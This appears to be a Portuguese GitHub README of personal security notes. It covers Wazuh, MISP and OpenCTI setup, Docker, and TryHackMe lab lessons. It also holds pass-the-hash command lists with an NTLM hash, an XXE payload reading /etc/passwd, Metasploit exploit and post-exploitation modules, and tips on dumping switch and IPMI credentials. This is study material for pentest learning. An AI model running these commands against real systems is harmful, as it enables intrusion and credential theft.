
  • Adicionar Agents no Wazuh

Obs.: Repetir este processo para a config dos demais servers Debian Based

curl -so wazuh-agent-4.3.10.deb https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.3.10-1_amd64.deb && sudo WAZUH_MANAGER='192.168.2.100' WAZUH_AGENT_GROUP='default' dpkg -i ./wazuh-agent-4.3.10.deb

sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent
sudo systemctl start wazuh-manager

Antes de rodar o comando abaixo, trocar o IP par ao IP do seu servidor WAZUH

Obs.: Repetir este processo para a config dos demais servers WINDOWS

Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.3.11-1.msi -OutFile ${env:tmp}\wazuh-agent-4.3.11.msi; msiexec.exe /i ${env:tmp}\wazuh-agent-4.3.11.msi /q WAZUH_MANAGER='192.168.1.10' WAZUH_REGISTRATION_SERVER='192.168.1.10' WAZUH_AGENT_GROUP='default' 
NET START WazuhSvc

Caso apresente algum erro, olhar:

sudo cat /var/ossec/logs/ossec.log

Se os agents não comunicam com o Wazuh verifique com os comandos abaixo, o segundo é no agente see more

 /var/ossec/bin/agent_control -i <YOUR_AGENT_ID> | grep Status
 sudo grep ^status /var/ossec/var/run/wazuh-agentd.state

Se o erro for relacionado ao MANAGER_IP Acessar:

sudo nano /var/ossec/etc/ossec.conf

E trocar o MANAGER_IP Pelo ip do servidor WAZUH

Modificar o arquivo para habilitar alertas adicionais

nano /var/ossec/etc/ossec.conf
  • Para remover deletar agents do WAZUH

    sudo /var/ossec/bin/agent_control -l
    sudo /var/ossec/bin/agent_control -r [ID_do_Agente]
    
  • Manutenção do Wazuh (Wazuh Dashboard not ready)

    sudo systemctl edit wazuh-indexer  and add the following lines:
       [Service] 
       TimeoutStartSec=180
    sudo systemctl daemon-reload 
    sudo systemctl restart wazuh-indexer
    sudo systemctl restart wazuh-dashboard
    
  • Manutenção do Wazuh (liberação de espaço de disco)

      systemctl stop wazuh-manager
    

Para o serviço do Wazuh

    find /var/ossec/logs/archives/ -type f  -mtime +1 -exec rm -f {} \;
    find /var/ossec/logs/alerts/ -type f  -mtime +1 -exec rm -f {} \;

Roda os comandos para deletar boa parte dos logs

    find /var/ossec/logs/archives/ -type f  -mtime -15 -exec rm -f {} \;
    find /var/ossec/logs/alerts/ -type f  -mtime -15 -exec rm -f {} \;

Caso ainda não seja o suficiente com os comando anteriores, rodar esses para apagar tudo

curl -XGET https://<ipwazuh>:9200/_cat/indices -k -u <user>:<pass>
curl -XDELETE https://<ipwazuh>:9200/wazuh-alerts-4.x-2022.04.* -k -u <user>:<pass> 

Liberando mais disco: Os comandos acima servem ver os indexes no SIEM e para deletar os idices de acordo com o mes passado, respectivamente.

systemctl restart wazuh-manager

Restarta o serviço

  • Silenciar alertas no Wazuh

Alterar o arquivo local do servidor

nano /var/ossec/etc/rules/local_rules.xml

   <rule id="100002" level="0">
	   <if_sid>60106</if_sid>
	   <description>Rule to ignore the log</description>
   </rule>
  • Ativar Sysmon no windows para melhorar os alertas do WAZUH

    Invoke-WebRequest -Uri https://raw.githubusercontent.com/olafhartong/sysmon-modular/master/sysmonconfig.xml -OutFile C:\Windows\config.xml
    

Roda no RowerShell como administrador

  https://download.sysinternals.com/files/Sysmon.zip

Baixa o sysmon.exe para rodar o comando posterior via CMD como administrador

  sysmon64.exe –accepteula –i c:\windows\config.xml

Roda via CMD como ADM o comando acima para ativar as configs do arquivo

<localfile>
   <location>Microsoft-Windows-Sysmon/Operational</location>
   <log_format>eventchannel</log_format>
</localfile>

Colar o código acima nas configs do Wazuh (ossec.conf)

Adicionar ao arquivo local_rules o código abaixo

sudo nano /var/ossec/etc/rules/local_rules.xml

<group name="sysmon,">
 <rule id="255000" level="12">
 <if_group>sysmon_event1</if_group>
 <field name="sysmon.image">\\powershell.exe||\\.ps1||\\.ps2</field>
 <description>Sysmon - Event 1: Bad exe: $(sysmon.image)</description>
 <group>sysmon_event1,powershell_execution,</group>
 </rule>
</group>
  • Ativar logs do windows

Configurando os logs do firewall

Acessa as GPO e vai em Computer -> Windows -> Security -> Defender -> Win Def Firewall Settings Vai em Logging Customize e desmarca Não configurado Salva e sai

Configurando os logs de Instalação

GPO -> Computer -> ADM Templates -> Win Components -> Win Installer -> Logging Clicar Enable -> logging ON Salva e sai

Configurando os logs de auditoria

Auditpol /set /Category:System /failure:enable
  • Integrar Wazuh com MISP

Criar o arquivo Custom-MISP.py Colocar o arquivo em /var/ossec/integrations Trocar a URL e a APY_KEY

<integration>
    <name>custom-misp.py</name>     				<group>sysmon_event1,sysmon_event3,sysmon_event6,sysmon_event7,sysmon_event_15,sysmon_event_22,syscheck</group>
    <alert_format>json</alert_format>
</integration>

Adicionar o código acima em ossec.conf

<group name="misp,">
  <rule id="100620" level="10">
    <field name="integration">misp</field>
    <match>misp</match>
    <description>MISP Events</description>
    <options>no_full_log</options>
  </rule>
  <rule id="100621" level="5">
    <if_sid>100620</if_sid>
    <field name="misp.error">\.+</field>
    <description>MISP - Error connecting to API</description>
    <options>no_full_log</options>
    <group>misp_error,</group>
  </rule>
  <rule id="100622" level="12">
    <field name="misp.category">\.+</field>
    <description>MISP - IoC found in Threat Intel - Category: $(misp.category), Attribute: $(misp.value)</description>
    <options>no_full_log</options>
    <group>misp_alert,</group>
  </rule>
</group>

Adicionar a regra misp_rule.xml

Reference Video

OPENCTI

Ferramenta de inteligencia de Cibersegurança

Instalação usando DOCKER e Portainer

sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get install ca-certificates
sudo apt-get install curl
sudo apt-get install gnupg-agent
sudo apt-get install software-properties-common
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-compose
sudo usermod -aG docker $USER
sudo docker swarm init --advertise-addr 192.168.X.X
sudo mkdir -p /opt/portainer && cd /opt/portainer
sudo curl -L https://downloads.portainer.io/portainer-agent-stack.yml -o portainer-agent-stack.yml
sudo nano ./portainer-agent-stack.yml (Trocar porta de "9000:9000" para "19000:9000" repetir com a "8000")
sudo docker stack deploy --compose-file=portainer-agent-stack.yml portainer
  1. Com o portainer instalado, vamos fazer o deploy do OPENCTI
  2. Acessa o site GitOpenCTI clica docker-compose.yml clica RAW e copia tudo
  3. Acessar PORTAINER/docker/stacks add stack e colar o código
  4. Copiar também o .env.sample do site acima e colocar o código gerado no site uuidgenerator.net no campo token e editar o restante
  5. Colar dentro de Environment Variable no Portainer
  6. Clicar Deploy e depois acessa IP:8080

Referência

Lista de videos para instalar, configurar e integrar o OPECTI+MISP+WAZUH

  • Adicionar Conector ao OPENCTI

Connectors for OPENCTI

  1. Entre no conector desejado (alienvolt) e copia o docker.composer.yml a partir de connector tag
  2. Acessa o portainer e adiciona a parte copiada em stack->opencti->editor e cola acima de VOLUME no final do doc
  3. Copiar depends on e opencti e colar no final do código copiado para "fechar" a tag
  4. Copiar a url do OPENCTI acima e colar no alienvault code
  5. Copiar o valor da variável do token acima e colar no Alienvault
  6. Gerar um novo UUID e colar em CONNECTOR ID
  7. Gerar a API KEY em AlienVauktKey e colar no código API_KEY
  8. E dá um Update the Stack

Integração: Wazuh e OpenCTI

MISP

Guia de instalação do MISP

wget https://raw.githubusercontent.com/MISP/MISP/2.4/INSTALL/INSTALL.sh
bash INSTALL.sh -A

Copiar o login e senha que vai aparecer e acessar o IP:443

INTEGRAR MISP+OPENCTI

Connectors for OPENCTI

  1. Entre no conector desejado (misp) e copia o docker.composer.yml a partir de connector tag
  2. Acessa o portainer e adiciona a parte copiada em stack->opencti->editor e cola acima de VOLUME no final do doc
  3. Copiar depends on e opencti e colar no final do código copiado para "fechar" a tag
  4. Copiar a url do OPENCTI acima e colar no alienvault code
  5. Copiar o valor da variável do token acima e colar no Alienvault
  6. Gerar um novo UUID e colar em CONNECTOR ID
  7. Gerar a MISP_KEY no servidor MISP Admin->ListAuthKeys->AddKey e colar no código MISP_KEY
  8. Ir em EventAction e AddTag para adicionar uma nova tag e nomeie opencti:import
  9. Depois acessar um evento e adicionar a tag criada acima
  10. E informar a tag em IMPORT_TAG na stack
  11. E dá um Update the Stack

Instalação usando DOCKER de forma MANUAL (Não funcionou)

sudo apt install docker-compose
mkdir opencti && cd opencti
git clone https://github.com/OpenCTI-Platform/docker.git
cd docker
sudo sysctl -w vm.max_map_count=1048575
sudo echo "vm.max_map_count=1048575" >> /etc/sysctl.conf
mv .env.sample .env
sudo systemctl start docker.service
sudo docker-compose up -d

Instalação MANUAL (Não funcionou)

mkdir /opencti && cd /opencti
wget <https://github.com/OpenCTI-Platform/opencti/releases/download/{RELEASE_VERSION}/opencti-release-{RELEASE_VERSION}.tar.gz>
tar xvfz opencti-release-{RELEASE_VERSION}.tar.gz
cd opencti
cp config/default.json config/production.json [alterar TOKEN copiado de https://www.uuidgenerator.net/]
cd src/python
pip3 install -r requirements.txt
cd ../..
sudo apt remove nodejs
curl -sL https://deb.nodesource.com/setup_14.x | sudo bash -
sudo apt update
sudo apt install nodejs [V.14]
curl -sL https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
sudo apt install yarn
yarn install
yarn build
yarn serv
cd worker
pip3 install -r requirements.txt
cp config.yml.sample config.yml
python3 worker.py &

BUG BOUNTY

Dicas, ferramentas, cursos serão adicionados aqui no intuito de melhorar o processo de reconhecimento e sucesso na exploração.

  • Ferramentas:

NUCLEI

MAGICRECON

  • Cursos:

OFJAAAH

  • Plataformas

BUGHUNT

HACKERONE

HACKAFLAG

FERRAMENTAS ALEATÓRIAS

SOCIAL ANALYZER

Ferramenta que faz buscas e várias midias sociais

THE SPY's JOB

Ferramenta para localizar telefone

Site para pesquisar o DNS Reverse reverso nslookup colocando o IP

cat url.txt | hakrawler

Ferramenta crawling web que faz uma busca avaçada por hrefs e outros termos interessantes

Ferramenta de análise de tráfego de rede que ta entrando e saindo NETWORK MINER, baixa seleciona a placa de rede e aparecerá todo tráfego

Ferramenta de Espionagem paga HISPY

Ferramenta para verificar onde a sua conta está associada: SAYMINE

Ferramenta gratuita para Web Application Firewall WAF MODSECURITY

Ferramenta para análise de código e informar vulnerabilidades dentro das pastas do código fonte horusec.io

Ferramenta para testar a segurança de imagens de containers trivy

Ferramenta GREP com a mensagem: "grep: (standard input): binary file matches" usa se grep -a 'word'

Ferramenta para conectar a um banco de dados oracle de forma externa sqlplus <username>/<password>@<IP_ADDRESS>:<PORT>/<SERVICE_NAME> caso ao executar o comando apresente erro de diretório, rode sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig

Ferramenta ZERO TRUST para até 5 users free Twingate

Ferramenta para criar arquivo zip com senha zip -re FileNameZipped.ZIP files-to-zip*

Ferramenta para criar uma senha unica /usr/bin/dbus-uuidgen

Ferramenta de "VPN" via SSH simulando um Proxy ssh -D 1337 -C -q -N root@server depois Chromium --no-sandbox --proxy-server="socks5://localhost:1337"

SOURCES RECURSOS LINKS

LFI source list WINDOWS (LFI list Windows)[https://github.com/DragonJAR/Security-Wordlist/blob/main/LFI-WordList-Windows]

LFI source list LINUX (LFI list Linux)[https://github.com/DragonJAR/Security-Wordlist/blob/main/LFI-WordList-Linux]

Site para download de Wordlists 'dicionario', WL indicada dicassassin WeakPass

VPN forward to Host

To access the network of the VPN connected to your guest Windows machine from your host Kali machine, you'll need to set up routing and potentially enable IP forwarding on the Windows guest. Here's a general guideline to achieve this:

  1. IP Forwarding on Windows Guest:

    First, make sure your guest Windows machine is set up to allow IP forwarding. This will allow the Windows machine to forward packets from the VPN network to the host machine.

    • Open the Windows Registry Editor (regedit).
    • Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters.
    • Find or create a DWORD value named IPEnableRouter and set its value to 1.
    • Restart the Windows machine.
  2. Routing Configuration on Windows Guest:

    Next, you'll need to set up specific routes on your Windows guest so that traffic destined for the VPN network is properly forwarded to the host machine.

    • Open a Command Prompt with administrative privileges on the Windows guest.

    • Use the route command to add a route that directs traffic to the VPN network (replace VPN_NETWORK with the actual VPN network's IP range and subnet mask, and GUEST_VPN_GATEWAY with the Windows guest's VPN gateway IP address):

      route -p ADD VPN_NETWORK MASK VPN_SUBNET_MASK GUEST_VPN_GATEWAY METRIC 10
      
    • The -p flag makes the route persistent across reboots.

  3. Network Configuration on Kali Host:

    On your Kali host, you need to configure routing so that it knows how to reach the VPN network through the Windows guest.

    • Open a terminal on your Kali host.

    • Use the route command to add a route that directs traffic to the VPN network through the Windows guest's IP address (replace GUEST_IP with the actual IP address of the Windows guest on your Kali host's network):

      sudo route add VPN_NETWORK MASK VPN_SUBNET_MASK GUEST_IP
      
    • This should instruct your Kali machine to send traffic destined for the VPN network through the Windows guest.

Remember to replace placeholders like VPN_NETWORK, VPN_SUBNET_MASK, GUEST_VPN_GATEWAY, and GUEST_IP with the actual values from your network setup.

Please note that the specific steps might vary depending on your network configuration, versions of operating systems, and other factors. Also, keep in mind that altering network settings can have security implications. Always ensure you understand the changes you're making and how they might impact your network's security.

Travis DeForge Vuln Recommendations

"Older Cisco Catalyst switches which are still used in large quantities had a service on port 4786 called Cisco Smart Install. It let you push configurations to the switches to administrator them. Kinda like SNMP but the difference is there was never any authentication, So you can use an open source tool called Siet.py (on github) to spin up a TFTP server and pull the configuration of that switch. Including administrator passwords. Without authentication"

"Here's another one like that. Port UDP 623 IPMIv2, do you know that one? You'll see IPMIv2 on virtualization hosts, usually Dell IDRAC or HP iLOs. It is a terribly flawed protocol. Basically when you tell it a username it will respond with the hashed password of that user. So you can just dump them immediately.
I imagine it like this, You walk up to a secret club and the bouncer asks "what's your name" so you say "admin" and he goes "okay so your password is Rosepetal right" and you say "yes". Then he let's you in. It's a comically stupid protocol. There is a Metasploit module to exploit it wicked easily "

LABS THM

Lessons learned from THM

Exploit WebMin

exploit/linux/http/webmin_backdoor

Exploit para TOMCAT lab (TOMGHOST)

admin/http/tomcat_ghostcat

Quebra de chave GPG e leitura de arquivo encriptado: Com a chave tryhackme.asc e o arquivo credential.pgp fizemos o seguinte, com o gpg2john tryhackme.asc pegamos a chave .asc e com a chave jogamos no john e quebramos encontrando a senha, então importamos o arquivo gpg --import tryhackme.asc e colocamos a senha quebrada, e ao dar um cat no credential.pgp colocamos a senha e tivemos acesso ao arquivo encriptado.

Stegonografia

Ferramentas: Exiftool - stegcracker - binwalk - steghide extrackt -sf picture.png -p password Ferramenta Online Procura imagem na internet

Postexploitation

While with meterpreter session, run the post exploitation for privesc

run post/multi/recon/local_exploit_suggester

After run the exploit with the current session, run the command above: Firts to list NT System process, second to use the process to get privesc

ps
migrate -n spoolsv.exe

If RDP are not available on the machine, we can use the post exploit to enable it and open RDP

run post/windows/manage/enable_rdp

Lab OwaspTop10

Comandos para SQLITE3
sqlite3 filename.db
.tables
SELECT * FROM table-name;
	Importante olhar na pasta assets para encontrar os arquivos.db

XML payloads for testing on input fields

<!DOCTYPE replace [<!ENTITY name "feast"> ]>
<userInfo>
<firstName>falcon</firstName>
<lastName>&name;</lastName>
</userInfo>

.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>

SETTING RDP with Xfce on KALI

Now run the following

wget https://gitlab.com/kalilinux/recipes/kali-scripts/-/raw/main/xfce4.sh
chmod +x xfce4.sh
sudo ./xfce4.sh
sudo systemctl enable xrdp --now
sudo /etc/init.d/xrdp start

Another TUTO - XRDP no Kali

Pass The Hash

Checklist:

pth-winexe
psexec from metasploit
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3d278165f6d949465b60d71d42ae7ded user1@192.168.1.20
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3d278165f6d949465b60d71d42ae7ded ssi/user1@192.168.1.20
python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3d278165f6d949465b60d71d42ae7ded ssi/user1@192.168.1.20
python smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:3d278165f6d949465b60d71d42ae7ded ssi/user1@192.168.1.20
pth-smbclient -U ssi/user1%aad3b435b51404eeaad3b435b51404ee:3d278165f6d949465b60d71d42ae7ded //192.168.1.20/c$
crackmapexec smb 192.168.1.20 -u user1 -H 3d278165f6d949465b60d71d42ae7ded -x whoami
pth-wmic -U ssi/user1%aad3b435b51404eeaad3b435b51404ee:3d278165f6d949465b60d71d42ae7ded //192.168.1.20 “select Name from Win32_UserAccount”
python rpcdump.py -hashes aad3b435b51404eeaad3b435b51404ee:3d278165f6d949465b60d71d42ae7ded ssi/user1@192.168.1.20
pth-rpcclient -U ssi/user1%aad3b435b51404eeaad3b435b51404ee:3d278165f6d949465b60d71d42ae7ded //192.168.1.20
python atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3d278165f6d949465b60d71d42ae7ded user1@192.168.1.20 whoami

References from above

PassTheHash Examples

Explorar o ativo inserindo um atalho no compartilhamento LinkBOMB

Ferramenta de descoberta de ativos de rede de forma rápida e simples netdiscover -r 10.10.10.0/24 Mostra MAC - Brand - IP | Semelhante ao Advanced IP Scanner pra Windows

Script abaixo serve para listar os IPs de uma subnet - util para fazer bruteforce com ferramentar que nao aceitam passar a rede/mascara

import sys
import ipaddress

def calculate_ip_addresses(network_input):
    try:
        # Parse the input and create an IPv4Network object
        network = ipaddress.IPv4Network(network_input, strict=False)
        
        # List all IP addresses within the network
        ip_addresses = list(network.hosts())

        # Return the list of IP addresses
        return ip_addresses
    except ValueError as e:
        return "Invalid input. Please provide a valid CIDR notation (e.g., 10.1.1.0/24)."
    except ipaddress.NetmaskValueError as e:
        return "Invalid subnet mask. Please provide a valid CIDR notation (e.g., 10.1.1.0/24)."

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python script_name.py <network>")
        sys.exit(1)

    network_input = sys.argv[1]
    result = calculate_ip_addresses(network_input)

    if isinstance(result, str):
        print(result)
    else:
        for ip in result:
            print(ip)

WIFI Hacking

Curso de WifiHacking

Criptografia SIMETRICA

openssl enc -aes256 -a -e -k chavesenha -in arquivo.file -out arquivo-enc.file

Cria um arquivo encriptado usando uma senha

openssl -aes256 -d -a -k chavesenha -in arquivo-enc.file -out arquivo-dec.file

Desencripta o arquivo gerado anteriormente, trazendo-o para seu estado origina

/usr/bin/dbus-uuidgen

Usando para gerar chave aleatória e usar em criação de chaves

Criptografia ASSIMETRICA

openssl genrsa -out private.pem 2048

Gerar uma chave privada de 2048

openssl rsa -in private.pem -outform PEM -pubout -out public.pem

Gera a chave publica a partir da chave privada gerada anteriormente

openssl rsautl -in arquivo.file -out arquivo-enc.rsa -encrypt -pubin -inkey public.pem

Gera o arquivo encriptado

openssl rsautl -in arquivo-enc.rsa -out arquivo-dec.file -decrypt -inkey private.pem

Decripta o arquivo usando a chave privada

SMART PENTEST OSINT

Ferramentas para o parsing

subfinder
sublist3t
asserfinder
openrdap `~/go/bin/rdap google.com --json >> file.json`
nmap
masscan
nuclei

Modulo 3 Ambiente Docker

sudo apt update
sudo apt upgrade
sudo apt-get install docker.io
sudo apt-get install docker-compose
service docker status

Comando utilizados para atulalizar o linux e instalar o docker

screen -S nomedatela

Cria uma tela com o nome nomedatela

screen -list

Lista as telas existentes

screen -x nomedatela

Utiliza a tela mencionada

hub.docker.com

Hub de imagens docker

docker pull image-name

Faz o download da imagem docker passada

docker images

Lista as imagens docker

docker run -it ubuntu bash

Roda a imagem ubuntu no modod interativo (ao sair a umagem continua rodando)

docker ps

Lista os dockers rodando

docker run -it --name docker01 ubuntu:latest bash

Roda a iamgem ubuntu com o nome docker01 e no modo interativo

docker ps -a

Lista as imagens docker rodando em segundo plano

docker stop id-docker

Para a imagem docker passada

docker rm id-docker

Remove a imagem docker do segundo plano

docker run -it --rm --name docker01 ubuntu:latest bash

Roda a imagem docker no modo insterativo (Remove a imagem ao sair do terminal)

docker run -it --rm --name docker01 -v '/docker/docker-share:/tmp/local-share' ubuntu bash

Roda a imagem docker no modo interativo executa um mapeamento da pasta do docker no /tmp/ (deleta tudo ao sair da interação)

docker run -it --rm --name docker01 -p "9000:90" ubuntu bash

Roda a imagem docker no modo interativo executa um mapeamento da porta 80 do docker para a porta 9000 da maquina hospedeira (deleta tudo ao sair da interação)

docker run -it --rm --name docker01 ubuntu bash

Ao rodar o comando acima, instala as ferramentas normalmente para fazer o commit para uma nova imagem (comando abaixo, sem fechar o bash)

docker commit id-container new-image-name

Faz o commit de uma nova imagem com as ferramentas instaladas

docker run --name docker_nmap new-image-name nmap ip-

Ao rodar esse comando é iniciado o docker que foi commitado anteriormente e executa o nmap e traz a saída no terminal e a imagem é destruida.

FROM kalilinux/kali-rolling:latest

WORKDIR /data
WORKDIR /scripts

RUN apt-get update

RUN apt-get install nmap -y

Os comandos acima é inserido dentro do Dockerfile que será utilizado para fazer a build de uma imagem automaticamente e salvar para ser utilizada

docker image build -t image-name-from-dockerfile:tag-name .

O comando acima monta a imagem de acordo com o que ta descrito no dockerfile dentro do diretório atual, e deixa pronta para usar

docker --rm image-name-from-dockerfile:tag-name nmap ip-address -sSV

O comando acima roda a imagem criada pelo dockerfile e roda o comando passado e traz o output

 version: '3'
services:
  apache:
    image: bitnami/apache:latest
 	    container_name: docker_apache_teste
    volumes:
      - ./data:/data
    ports:
      - 80:8080
      - 443:8443

As linhas acima devem estar no arquivo chamado docker-compose.yaml que servem para baixar e deixar pronta uma imagem docker, com a diferença que o docker compose permanece rodando

docker-compose -f docker-compose.yaml up -d

O comando ler o arquivo do doker compose baixa a imagem, e deixa pronta para utilizar. O -d serve para manter em segundo plano.

docker exec -it docker-name bash

Para se conectar no docker em execução em entrar no modo interativo, exit para sair sem derrubar

docker-compose down

O comando acima para a imagem que estava em execução em docker compose, mas precisa ser no diretório do docker

Preparando o ambiente

LOCAL mkdir data-es | chmod 777 data-es 
LOCAL wget https://github.com/DesecSecurityGit/Smart-Recon/blob/main/Modulo4/docker-compose.yml
LOCAL sysctl -w vm.max_map_count=262144
LOCAL docker-compose up
LOCAL curl -XGET https://localhost:9200 -u 'admin:admin' --insecure
   LOCAL mkdir tls | cd tls | nano certs.sh
   LOCAL chmod +x certs.sh | ./certs.sh
   LOCAL chmod 777 root-ca.pem admin-key.pem admin.pem
   LOCAL docker-compose up
   LOCAL docker exec -it d40dbcc5f7a4
   CONTAINER vi /usr/share/elasticsearch/plugins/opendistro_security/securityconfig/internal_users.yml
   LOCAL nano internal_users.yml
   CONTAINER sh /usr/share/elasticsearch/plugins/opendistro_security/tools/hash.sh
LOCAL docker-compose -f docker-compose_completo.yml up

certs.sh

docker-compose_completo.yml

NOTES: Se receber um código 137 "exited with code 137" adiciona mais RAM à máquina. Se receber um código 78 "exited with code 78" é preciso rodar o comando sysctl -w vm.max_map_count=262144, podendo, para não precisar rodar novamente o comando, adicionar o vm.max_map_count=262144 e o vm.swappiness=10 e o vm.vfs_cache_pressure=50 na ultima linha do /etc/sysctl.conf para melhorar o Swap e o Cache também. Para nao ter problemas com a quantidade de indies criados roda o comando: curl -XPUT --insecure --user admin:'unkqwer' https://localhost:9200/_cluster/settings -H "Content-Type: application/json" -d '{ "persistent": { "cluster.max_shards_per_node": "5000" } }'

Construindo a Automação

cat script.sh | parallel -u

Executa o script.sh em paralelo, dessa forma, sendo mais performático a sua execução.

...

Hacking CheckList

Mapear SuperfíciExterna

Pesquisa - Google Hacking
Pesquisa - Bing Hacking
Pesquisa - Whois
Pesquisa - RDAP
Pesquisa - IP (NetBlock)
Pesquisa - BGP (ASN)
Pesquisa - Shodan
Pesquisa - Censys
Pesquisa - WayBackMachine
Pesquisa - Certificados SSL
Pesquisa - Leaks em Bases Públicas
Pesquisa Passiva - Sub-domínios
Brute Force - DNS
Brute Force - DNS Reverso
Verificar - Transferência de Zona DNS
Verificar - Registros SPF
Verificar - Subdomain Takeover

Mapear Host(s)

Identificar - Portas Abertas
Identificar - Serviços Expostos
Identificar - Interfaces Administrativas
Verificar - Possibilidade de Brute Force (FTP, SSH, SMB, RPC, RDP)

Mapear Aplicação Web OWASP

Identificar - Web Application Firewall
Identificar - Tecnologia Web Server
Identificar - Métodos Aceitos
Identificar - Tecnologia da Aplicação
Identificar - Robots.txt e sitemap.xml
Identificar - Comentários HTML
Identificar - Arquivos JS
Identificar - Repositórios no GitHub sobre a Empresa
Realizar - Spidering na aplicação
Realizar - Identificação de entry points
Realizar - Brute Force (arquivos e diretórios)

Controle de Identidade

Spidering sem autenticação
Spidering autenticado (limitado)
Spidering autenticado (privilegiado)
Verificar - Registro de conta
Verificar - Permissões de Contas
Verificar - Enumeração de usuários

Controle de Autenticação

Identificar - Transporte de dados inseguro
Identificar - Credenciais padrões
Identificar - Bloqueio de Contas
Possibilidade de Brute Force
Bypass no controle de autenticação
Análise da Política de Senhas
Fraquezas nas funcionalidades de senha

Controle de Autorização

Path Traversal/File include
Server-Side Request Forgery
Insecure Direct Object Reference
Escalação de Privilégios
Bypass no controle de autorização

Validação de dados

Verificar - XSS Refletido
Verificar - XSS Persistente
Verificar - DOM Based XSS
Verificar - HTML Injection
Verificar - HTTP Parameter Pollution
Verificar - SQL Injection
Verificar - LDAP Injection
Verificar - XML Injection
Verificar - XPATH Injection
Verificar - Code Injection
Verificar - Open Redirect
Verificar - Bypass File Upload

ARSENAL HACKING TOOLs

NMAP
MASSCAN
ARP
NetworkMiner
Metasploitable  
BurpSuite
Searchsploit
Subfinder
Sublist3r
Assetfinder
GoBuster 
Dirb 
DirBuster
FFuF
Wfuzz
Wafw00f
Hakrawler
Amass
Sensys
Shodan
WayBackMachine
SSRFMAP
Nikto
SpiderFoot
Wapiti
Muclei
TheHarvester
WPscan
Fierce
Dnsenum
Dnsrecon
Hydra
Crowbar
Crunch
Ncrack
Medusa
SSH-Brute-Forcer
HashCat
John   
SSH2john
ZIP2john 
Enum4Linux
Rpcinfo
Responder 
SQLMap
CrackMapExec
Scapy 
Wireshark
Mimikatz 
Impacket
NetCat
Lnkbomb - responder
Sudo_Killer
Hunter.io

THE END

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published